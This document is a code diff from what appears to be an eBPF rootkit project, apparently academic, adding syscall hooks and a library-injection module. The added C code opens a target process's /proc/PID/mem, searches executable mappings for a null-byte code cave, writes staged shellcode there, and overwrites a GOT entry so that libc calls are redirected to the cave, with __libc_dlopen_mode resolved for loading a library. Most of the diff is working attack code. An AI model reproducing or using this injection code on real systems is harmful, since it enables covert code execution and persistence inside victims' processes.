int detach_kprobe_ksys_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kprobe_ksys_read);
int detach_tp_sys_enter_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_kretprobe_vfs_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.kretprobe_vfs_read);
int detach_tp_sys_exit_read(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_exit_read);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_tp_sys_enter_openat(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_openat);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
@@ -40,7 +54,9 @@ int detach_kretprobe_vfs_read(struct kit_bpf *skel){
}
int detach_fs_all(struct kit_bpf *skel){
return detach_kprobe_ksys_read(skel) || detach_kretprobe_vfs_read(skel);
return detach_tp_sys_enter_read(skel) ||
detach_tp_sys_exit_read(skel) ||
detach_tp_sys_enter_openat(skel);
}
#endif

View File

@@ -0,0 +1,49 @@
#ifndef __MOD_INJECTION_H
#define __MOD_INJECTION_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "kit.skel.h"
#include "common.h"
//Connections
int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
}
int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
}
int attach_injection_all(struct kit_bpf *skel){
return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);;
}
int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){
return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel);
}
#endif

View File

@@ -2,6 +2,8 @@
#include "xdp.h"
#include "sched.h"
#include "fs.h"
#include "exec.h"
#include "injection.h"
module_config_t module_config = {
.xdp_module = {
@@ -14,8 +16,18 @@ module_config_t module_config = {
},
.fs_module = {
.all = ON,
.kprobe_ksys_read = OFF,
.kretprobe_vfs_read = OFF
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
},
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
},
.injection_module = {
.all = ON,
.sys_enter_timerfd_settime = OFF,
.sys_exit_timerfd_settime = OFF
}
};
@@ -27,7 +39,9 @@ module_config_attr_t module_config_attr = {
.flags = -1
},
.sched_module = {},
.fs_module = {}
.fs_module = {},
.exec_module = {},
.injection_module = {}
};
@@ -57,11 +71,28 @@ int setup_all_modules(){
if(config.fs_module.all == ON){
ret = attach_fs_all(attr.skel);
}else{
if(config.fs_module.kprobe_ksys_read == ON) ret = attach_kprobe_ksys_read(attr.skel);
if(config.fs_module.kretprobe_vfs_read == ON) ret = attach_kretprobe_vfs_read(attr.skel);
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
}
if(ret!=0) return -1;
//EXEC
if(config.exec_module.all == ON){
ret = attach_exec_all(attr.skel);
}else{
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
}
if(ret!=0) return -1;
//INJECTION
if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel);
}else{
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
}
if(ret!=0) return -1;
return 0;
}

View File

@@ -25,10 +25,22 @@ typedef struct module_config_t{
struct fs_module {
char all;
char kprobe_ksys_read;
char kretprobe_vfs_read;
char tp_sys_enter_read;
char tp_sys_exit_read;
char tp_sys_enter_openat;
}fs_module;
struct exec_module {
char all;
char tp_sys_enter_execve;
}exec_module;
struct injection_module {
char all;
char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime;
}injection_module;
} module_config_t;
//Configuration struct. Used by the module manager to
@@ -48,6 +60,14 @@ typedef struct module_config_attr_t{
void* __empty;
}fs_module;
struct exec_module_attr {
void* __empty;
}exec_module;
struct injection_module_attr {
void* __empty;
}injection_module;
} module_config_attr_t;
//An unique module configutation struct and attr

View File

@@ -0,0 +1,123 @@
#ifndef __MEM_CODE_CAVER_H
#define __MEM_CODE_CAVER_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "../common/constants.h"
#define CODE_CAVE_LENGTH_BYTES 0x40
#define NULL_BYTE 0x00
__u64 cave_find(int mem_fd, int cave_length, __u64 from, __u64 to){
int null_counter = 0;
lseek(mem_fd, from, SEEK_SET);
for(__u64 ii = from; ii<to; ii++){
char c;
read(mem_fd, &c, 1);
if(c == NULL_BYTE){
null_counter++;
}else{
null_counter = 0;
}
if(null_counter >= CODE_CAVE_LENGTH_BYTES){
printf("Found code cave at %llx\n", ii);
return ii;
}
}
printf("Cave not found between %llx and %llx\n", from, to);
return 0;
}
__u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u32 pgoff, __u32 major, __u32 minor, __u64 ino){
__u64 cave_addr;
cave_addr = cave_find(mem_fd, CODE_CAVE_LENGTH_BYTES, from, to);
return cave_addr;
}
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
//Writing the code cave address in the GOT section, future calls to libc will be redirected
size_t len = sizeof(__u64);
__u64 buf_n = (__u64)cave_addr;
lseek(mem_fd, got_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}
//First part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN;
char* buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_1;
lseek(mem_fd, cave_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 1");
return -1;
}
}
//Writing malloc address
len = sizeof(__u64);
buf_n = (__u64)malloc_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing malloc address");
return -1;
}
}
//Second part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_2;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 2");
return -1;
}
}
//Writing dlopen address
len = sizeof(__u64);
buf_n = (__u64)dlopen_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing dlopen address");
return -1;
}
}
//Third part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_3;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 3");
return -1;
}
}
//A trick to jump to a selected location
len = sizeof(__u64);
buf_n = (__u64)syscall_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing syscall address");
return -1;
}
}
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
return 0;
}
#endif

View File

@@ -0,0 +1,71 @@
#ifndef __MEM_INJECTION_EXT_H
#define __MEM_INJECTION_EXT_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "../common/constants.h"
#include "../common/map_common.h"
#include "code_caver.h"
int manage_injection(const struct rb_event* event){
char mem_file_name[100];
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
int mem_fd;
memset( (void*)mem_file_name, 0, 100);
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
mem_fd = open(mem_file_name, O_RDWR);
//lseek(mem_fd, event->got_address, SEEK_SET);
/*for(int ii=0; ii<sizeof(__u64); ii++){
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}*/
//Parsing /proc/pid/maps.
//Note that addresses usually appear as 32-bit when catting, but this is not completely true, 0s are ommitted
//Considering them as 64-bit
char *maps_file = calloc(512, sizeof(char));
FILE *f;
sprintf(maps_file, "/proc/%d/maps", event->pid);
f = fopen(maps_file, "rt");
while (fgets(maps_file, 512, f)) {
__u32 pgoff, major, minor;
__u64 from, to, ino;
char flags[4];
sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino);
printf("MAPS: %s\n", maps_file);
//Parse flags, find executable one
if(flags[2] == 'x'){
//Candidate for code cave finding
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
if(cave_addr!=0){
//Found valid cave.
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
}
printf("Successfully hijacked GOT\n");
break;
}
}
}
free(maps_file);
close(mem_fd);
return 0;
}
#endif

View File

@@ -7,6 +7,8 @@
#include <linux/if_link.h>
#include <net/if.h>
#include <unistd.h>
#include <dlfcn.h>
#include <link.h>
#include <bpf/bpf.h>
@@ -18,14 +20,13 @@
#include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h"
#include "include/utils/mem/injection.h"
#define ABORT_IF_ERR(err, msg)\
if(err<0){\
fprintf(stderr, msg);\
goto cleanup\
}
static struct env {
bool verbose;
} env;
@@ -95,7 +96,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
//Before parsing any data, check the type
if(e->event_type == INFO){
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
}else if(e->event_type == DEBUG){
@@ -104,6 +105,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
}else if(e->event_type == EXIT){
}else if(e->event_type == VULN_SYSCALL){
//eBPF detected syscall which can lead to library injection
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
if(manage_injection(e)<0){
printf("Library injection failed\n");
}
}else{
printf("UNRECOGNIZED RB EVENT RECEIVED");
return -1;
@@ -201,6 +208,7 @@ int main(int argc, char**argv){
module_config_attr.skel = skel;
err = setup_all_modules();
// Set up ring buffer polling --> Main communication buffer kernel->user
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
if (rb==NULL) {
@@ -209,6 +217,23 @@ int main(int argc, char**argv){
goto cleanup;
}
struct link_map *lm;
off_t offset = 0;
unsigned long long dlopenAddr;
lm = dlopen("libc.so.6", RTLD_LAZY);
if(lm==0){
perror("Error obtaining libc symbols");
return -1;
}
dlopenAddr = (unsigned long long)dlsym((void*)lm, "__libc_dlopen_mode");
printf("libdl: %lx\n", lm->l_addr);
printf("dlopen: %llx\n", dlopenAddr);
offset = dlopenAddr - lm->l_addr;
printf("Offset: %lx\n", offset);
//Once we have the offset of libc we proceed to uprobe our target program
//Now wait for messages from ebpf program
printf("Filter set and ready\n");
while (!exiting) {
@@ -243,4 +268,4 @@ cleanup:
if(err!=0) return -1;
return 0;
}
}